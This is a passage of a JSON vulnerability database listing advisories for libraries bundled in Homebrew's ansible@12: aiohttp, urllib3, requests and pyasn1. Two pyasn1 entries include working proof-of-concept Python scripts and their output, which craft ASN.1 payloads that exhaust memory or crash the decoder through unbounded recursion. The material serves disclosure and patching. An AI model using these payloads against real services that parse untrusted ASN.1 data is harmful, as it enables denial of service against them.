request","details":"### Summary\n\nWhile a request flagged as an upgrade (e.g. a WebSocket handshake) was being handled, all further data received on the connection was buffered with no size limit or flow control until the handler completed.\n\n### Impact\n\nAn attacker could cause unbounded memory use by streaming data behind an upgrade request to any handler that does not immediately accept or reject the upgrade.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/3d850ee9b92573c7e913821cbcb96005beb3f4df","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-pw86-h8fm-j323"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128129"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13501"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13511"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/3d850ee9b92573c7e913821cbcb96005beb3f4df"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/c207cadb257e0959b192ffca0548eca8c71eb96a"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2026-128130","published":"2026-11-17T08:39:20Z","modified":"2026-11-17T08:39:20Z","upstream":["GHSA-28qf-cpwq-vmc2","CVE-2026-128130"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.3.0_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP: Pure-Python parser request replay and buffer growth behind a declined upgrade","details":"### Summary\n\nWhen the pipelined request queue was full, the pure-Python parser stored the unparsed remainder internally and also returned it to the caller. After a handler declined an upgrade request, the buffered data was re-fed, so the buffer grew with each handled request and already-handled requests were dispatched to the application again.\n\n### Impact\n\nIf users are using the Python parser (`AIOHTTP_NO_EXTENSIONS`, or not a standard wheel installed), an attacker could cause excessive memory use and cause pipelined requests to be processed more than once.\n\n### Workaround\n\nSwitch to the default C parser.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/47babd8c23ca79e2bae6cc8dcb5752b61e369fc7","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-28qf-cpwq-vmc2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128130"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13356"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13360"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/47babd8c23ca79e2bae6cc8dcb5752b61e369fc7"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/72eaa429cf89b1e20212590f3e704444239569fb"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2026-128131","published":"2026-11-17T08:39:20Z","modified":"2026-11-17T08:39:20Z","upstream":["GHSA-h4cc-hm5h-fmm9","CVE-2026-128131"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.3.0_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP: Concatenated compressed streams cause excessive CPU use","details":"### Summary\n\nWhen decompressing a payload made up of many concatenated compressed members (gzip, deflate or zstd), each member was decoded by passing the entire remaining input to a new decompressor, resulting in quadratic CPU time. Empty members produce no output, so `client_max_size` and output backpressure did not limit the work.\n\n### Impact\n\nAn attacker could block the event loop of a server with a specially crafted compressed request body or WebSocket message. A malicious server could do the same to a client.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/d925a80539ffd227da1d93ab4a5bff123cc777db","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-h4cc-hm5h-fmm9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128131"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13362"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13391"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/d041d4d0fd48c3f0832084d33be16cf1c4835f85"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/d925a80539ffd227da1d93ab4a5bff123cc777db"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2026-128132","published":"2026-11-17T08:39:20Z","modified":"2026-11-17T08:39:20Z","upstream":["GHSA-5rmc-48h2-hvcm","CVE-2026-128132"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.3.0_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP: WebSocket receive queue limits bypassed by small or compressed messages","details":"### Summary\n\nThe WebSocket reader continued parsing frames already received after the receive queue had paused the transport, and empty messages were not counted towards the queue size. With permessage-deflate, a single read of compressed frames could add many megabytes of decompressed messages to the queue.\n\n### Impact\n\nAn attacker could cause excessive memory use in a WebSocket server, or a malicious server against a client, by sending many small or compressed messages faster than the application consumes them.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/0ae507423f681161efa77d20052b4054397c7fb6","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-5rmc-48h2-hvcm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128132"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13393"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13545"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13546"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/0ae507423f681161efa77d20052b4054397c7fb6"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/5e54037933fa8422be5fa8a2002d118ed2d4e5e0"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/b62321b6fa264a89f4aca084ad60fc38a59ffa51"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2026-21441","published":"2026-08-13T16:35:22Z","modified":"2026-10-07T22:50:17Z","upstream":["GHSA-38jv-5279-wg99","CVE-2026-21441","PYSEC-2026-1996"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.2.0"},{"fixed":"12.3.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.6.3","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"Decompression-bomb safeguards bypassed when following HTTP redirects (streaming API)","details":"### Impact\n\nurllib3's [streaming API](https://urllib3.readthedocs.io/en/2.6.2/advanced-usage.html#streaming-and-i-o) is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.\n\nurllib3 can perform decoding or decompression based on the HTTP `Content-Encoding` header (e.g., `gzip`, `deflate`, `br`, or `zstd`). When using the streaming API, the library decompresses only the necessary bytes, enabling partial content consumption.\n\nHowever, for HTTP redirect responses, the library would read the entire response body to drain the connection and decompress the content unnecessarily. This decompression occurred even before any read methods were called, and configured read limits did not restrict the amount of decompressed data. As a result, there was no safeguard against decompression bombs. A malicious server could exploit this to trigger excessive resource consumption on the client (high CPU usage and large memory allocations for decompressed data; CWE-409).\n\n### Affected usages\n\nApplications and libraries using urllib3 version 2.6.2 and earlier to stream content from untrusted sources by setting `preload_content=False` when they do not disable redirects.\n\n\n### Remediation\n\nUpgrade to at least urllib3 v2.6.3 in which the library does not decode content of redirect responses when `preload_content=False`.\n\nIf upgrading is not immediately possible, disable [redirects](https://urllib3.readthedocs.io/en/2.6.2/user-guide.html#retrying-requests) by setting `redirect=False` for requests to untrusted source.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-38jv-5279-wg99"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-21441"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/8864ac407bba8607950025e0979c4c69bc7abc7b"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2026/01/msg00017.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2026-23490","published":"2026-08-13T16:35:22Z","modified":"2026-10-07T22:50:17Z","upstream":["GHSA-63vm-454h-vhhq","CVE-2026-23490","PYSEC-2026-1810"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.2.0"},{"fixed":"12.3.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"0.6.2","resource":"pyasn1","resource_purl":"pkg:pypi/pyasn1@0.6.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyasn1","subject_version":"0.6.4","key":"pkg:pypi/pyasn1@0.6.4","resource":"pyasn1"}]},"summary":"pyasn1 has a DoS vulnerability in decoder","details":"### Summary\n\nAfter reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.\n\n### Details\n\nThe integer issue can be found in the decoder as `reloid += ((subId << 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496\n\n### PoC\n\nFor the DoS:\n```py\nimport pyasn1.codec.ber.decoder as decoder\nimport pyasn1.type.univ as univ\nimport sys\nimport resource\n\n# Deliberately set memory limit to display PoC\ntry:\n    resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))\n    print(\"[*] Memory limit set to 100MB\")\nexcept:\n    print(\"[-] Could not set memory limit\")\n\n# Test with different payload sizes to find the DoS threshold\npayload_size_mb = int(sys.argv[1])\n\nprint(f\"[*] Testing with {payload_size_mb}MB payload...\")\n\npayload_size = payload_size_mb * 1024 * 1024\n# Create payload with continuation octets\n# Each 0x81 byte indicates continuation, causing bit shifting in decoder\npayload = b'\\x81' * payload_size + b'\\x00'\nlength = len(payload)\n\n# DER length encoding (supports up to 4GB)\nif length < 128:\n    length_bytes = bytes([length])\nelif length < 256:\n    length_bytes = b'\\x81' + length.to_bytes(1, 'big')\nelif length < 256**2:\n    length_bytes = b'\\x82' + length.to_bytes(2, 'big')\nelif length < 256**3:\n    length_bytes = b'\\x83' + length.to_bytes(3, 'big')\nelse:\n    # 4 bytes can handle up to 4GB\n    length_bytes = b'\\x84' + length.to_bytes(4, 'big')\n\n# Use OID (0x06) for more aggressive parsing\nmalicious_packet = b'\\x06' + length_bytes + payload\n\nprint(f\"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB\")\n\ntry:\n    print(\"[*] Decoding (this may take time or exhaust memory)...\")\n    result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())\n\n    print(f'[+] Decoded successfully')\n    print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')\n\n    # Try to convert to string\n    print('[*] Converting to string...')\n    try:\n        str_result = str(result[0])\n        print(f'[+] String succeeded: {len(str_result)} chars')\n        if len(str_result) > 10000:\n            print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!')\n    except MemoryError:\n        print(f'[-] MemoryError during string conversion!')\n    except Exception as e:\n        print(f'[-] {type(e).__name__} during string conversion')\n\nexcept MemoryError:\n    print('[-] MemoryError: Out of memory!')\nexcept Exception as e:\n    print(f'[-] Error: {type(e).__name__}: {e}')\n\n\nprint(\"\\n[*] Test completed\")\n```\n\n\nScreenshots with the results:\n\n#### DoS\n<img width=\"944\" height=\"207\" alt=\"Screenshot_20251219_160840\" src=\"https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f\" />\n\n<img width=\"931\" height=\"231\" alt=\"Screenshot_20251219_152815\" src=\"https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa\" />\n\n#### Leak analysis\n\nA potential heap leak was investigated but came back clean:\n```\n[*] Creating 1000KB payload...\n[*] Decoding with pyasn1...\n[*] Materializing to string...\n[+] Decoded 2157784 characters\n[+] Binary representation: 896001 bytes\n[+] Dumped to heap_dump.bin\n\n[*] First 64 bytes (hex):\n  01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081\n\n[*] First 64 bytes (ASCII/hex dump):\n  0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02  ..... @..... @..\n  0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08  ... @..... @....\n  0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20  . @..... @..... \n  0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81  @..... @..... @.\n\n[*] Digit distribution analysis:\n  '0':  10.1%\n  '1':   9.9%\n  '2':  10.0%\n  '3':   9.9%\n  '4':   9.9%\n  '5':  10.0%\n  '6':  10.0%\n  '7':  10.0%\n  '8':   9.9%\n  '9':  10.1%\n```\n\n### Scenario\n\n1. An attacker creates a malicious X.509 certificate.\n2. The application validates certificates.\n3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.\n\n### Impact\n\nThis issue can affect resource consumption and hang systems or stop services.\nThis may affect:\n- LDAP servers\n- TLS/SSL endpoints\n- OCSP responders\n- etc.\n\n### Recommendation\n\nAdd a limit to the allowed bytes in the decoder.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/security/advisories/GHSA-63vm-454h-vhhq"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23490"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/be353d755f42ea36539b4f5053c652ddf56979a6"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/3908f144229eed4df24bd569d16e5991ace44970"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4148"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4147"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4146"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4145"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4144"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4143"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4142"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4141"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4140"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4139"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4138"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:39894"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:3959"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:3958"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2302"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:41928"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:42644"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4943"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:54757"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:5606"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-23490"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2430472"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-63vm-454h-vhhq"},{"type":"PACKAGE","url":"https://github.com/pyasn1/pyasn1"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/blob/0f07d7242a78ab4d129b26256d7474f7168cf536/pyasn1/codec/ber/decoder.py#L496"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-1810.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2026/02/msg00002.html"},{"type":"WEB","url":"https://pypi.org/project/pyasn1"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-23490.json"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2300"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2299"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2221"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:19712"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:1906"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:1905"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:1904"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:1903"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:17611"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:17595"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:17446"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:14020"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13553"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13545"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13512"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13508"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:37275"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:3359"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:3354"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:30088"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:28042"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2758"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2712"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:24977"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:24866"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2486"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2483"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2460"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2453"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:24483"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:24476"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2309"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2303"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2026-25645","published":"2026-08-13T16:35:22Z","modified":"2026-10-07T22:50:17Z","upstream":["GHSA-gc5v-m9x4-r6x2","CVE-2026-25645","PYSEC-2026-2275"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.2.0"},{"fixed":"12.3.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.33.0","resource":"requests","resource_purl":"pkg:pypi/requests@2.34.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"requests","subject_version":"2.34.2","key":"pkg:pypi/requests@2.34.2","resource":"requests"}]},"summary":"Requests has Insecure Temp File Reuse in its extract_zipped_paths() utility function","details":"### Impact\nThe `requests.utils.extract_zipped_paths()` utility function uses a predictable filename when extracting files from zip archives into the system temporary directory. If the target file already exists, it is reused without validation. A local attacker with write access to the temp directory could pre-create a malicious file that would be loaded in place of the legitimate one.\n\n### Affected usages\n**Standard usage of the Requests library is not affected by this vulnerability.** Only applications that call `extract_zipped_paths()` directly are impacted.\n\n### Remediation\nUpgrade to at least Requests 2.33.0, where the library now extracts files to a non-deterministic location.\n\nIf developers are unable to upgrade, they can set `TMPDIR` in their environment to a directory with restricted write access.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:H/A:N"}],"references":[{"type":"WEB","url":"https://github.com/psf/requests/security/advisories/GHSA-gc5v-m9x4-r6x2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25645"},{"type":"WEB","url":"https://github.com/psf/requests/commit/66d21cb07bd6255b1280291c4fafb71803cdb3b7"},{"type":"PACKAGE","url":"https://github.com/psf/requests"},{"type":"WEB","url":"https://github.com/psf/requests/releases/tag/v2.33.0"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2026-30922","published":"2026-08-13T16:35:22Z","modified":"2026-10-07T22:50:17Z","upstream":["GHSA-jr27-m4p2-rc6r","CVE-2026-30922","PYSEC-2026-2263"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.2.0"},{"fixed":"12.3.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"0.6.3","resource":"pyasn1","resource_purl":"pkg:pypi/pyasn1@0.6.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyasn1","subject_version":"0.6.4","key":"pkg:pypi/pyasn1@0.6.4","resource":"pyasn1"}]},"summary":"Denial of Service in pyasn1 via Unbounded Recursion","details":"### Summary\nThe `pyasn1` library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested `SEQUENCE` (`0x30`) or `SET` (`0x31`) tags with Indefinite Length (`0x80`) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a `RecursionError` or consumes all available memory (OOM), crashing the host application.\n\n### Details\nThe vulnerability exists because the decoder iterates through the input stream and recursively calls `decodeFun` (the decoding callback) for every nested component found, without tracking or limiting the recursion depth.\nVulnerable Code Locations:\n1. `indefLenValueDecoder` (Line 998):\n```for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options):```\nThis method handles indefinite-length constructed types. It sits inside a `while True` loop and recursively calls the decoder for every nested tag.\n\n2. `valueDecoder` (Lines 786 and 907):\n```for component in decodeFun(substrate, componentType, **options):```\nThis method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of `SEQUENCE` or `SET` types. Line 907: Recursively decodes elements of `SEQUENCE OF` or `SET OF` types.\n\n4. `_decodeComponentsSchemaless` (Line 661):\n```for component in decodeFun(substrate, **options):```\nThis method handles decoding when no schema is provided.\n\nIn all three cases, `decodeFun` is invoked without passing a `depth` parameter or checking against a global `MAX_ASN1_NESTING` limit.\n\n### PoC\n```\nimport sys\nfrom pyasn1.codec.ber import decoder\n\nsys.setrecursionlimit(100000)\n\nprint(\"[*] Generating Recursion Bomb Payload...\")\ndepth = 50_000\nchunk = b'\\x30\\x80' \npayload = chunk * depth\n\nprint(f\"[*] Payload size: {len(payload) / 1024:.2f} KB\")\nprint(\"[*] Triggering Decoder...\")\n\ntry:\n    decoder.decode(payload)\nexcept RecursionError:\n    print(\"[!] Crashed: Recursion Limit Hit\")\nexcept MemoryError:\n    print(\"[!] Crashed: Out of Memory\")\nexcept Exception as e:\n    print(f\"[!] Crashed: {e}\")\n```\n\n```\n[*] Payload size: 9.77 KB\n[*] Triggering Decoder...\n[!] Crashed: Recursion Limit Hit\n```\n\n### Impact\n- This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (<100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.\n- Service Crash: Any service using `pyasn1` to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.\n- Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (<200KB) can consume hundreds of megabytes of RAM or exhaust the stack.\n\n### Credits\nVulnerability discovered by Kevin Tu of TMIR at ByteDance.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/security/advisories/GHSA-jr27-m4p2-rc6r"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-30922"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/5a49bd1fe93b5b866a1210f6bf0a3924f21572c8"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/25ad481c19fdb006e20485ef3fc2e5b3eff30ef0"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:22970"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:22987"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:24761"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:24762"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:37275"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:41928"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:6309"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:65126"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:6568"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:6720"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:6912"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:6926"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:8437"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-30922"},{"type":"WEB","url":"https://bugzilla.redhat.com/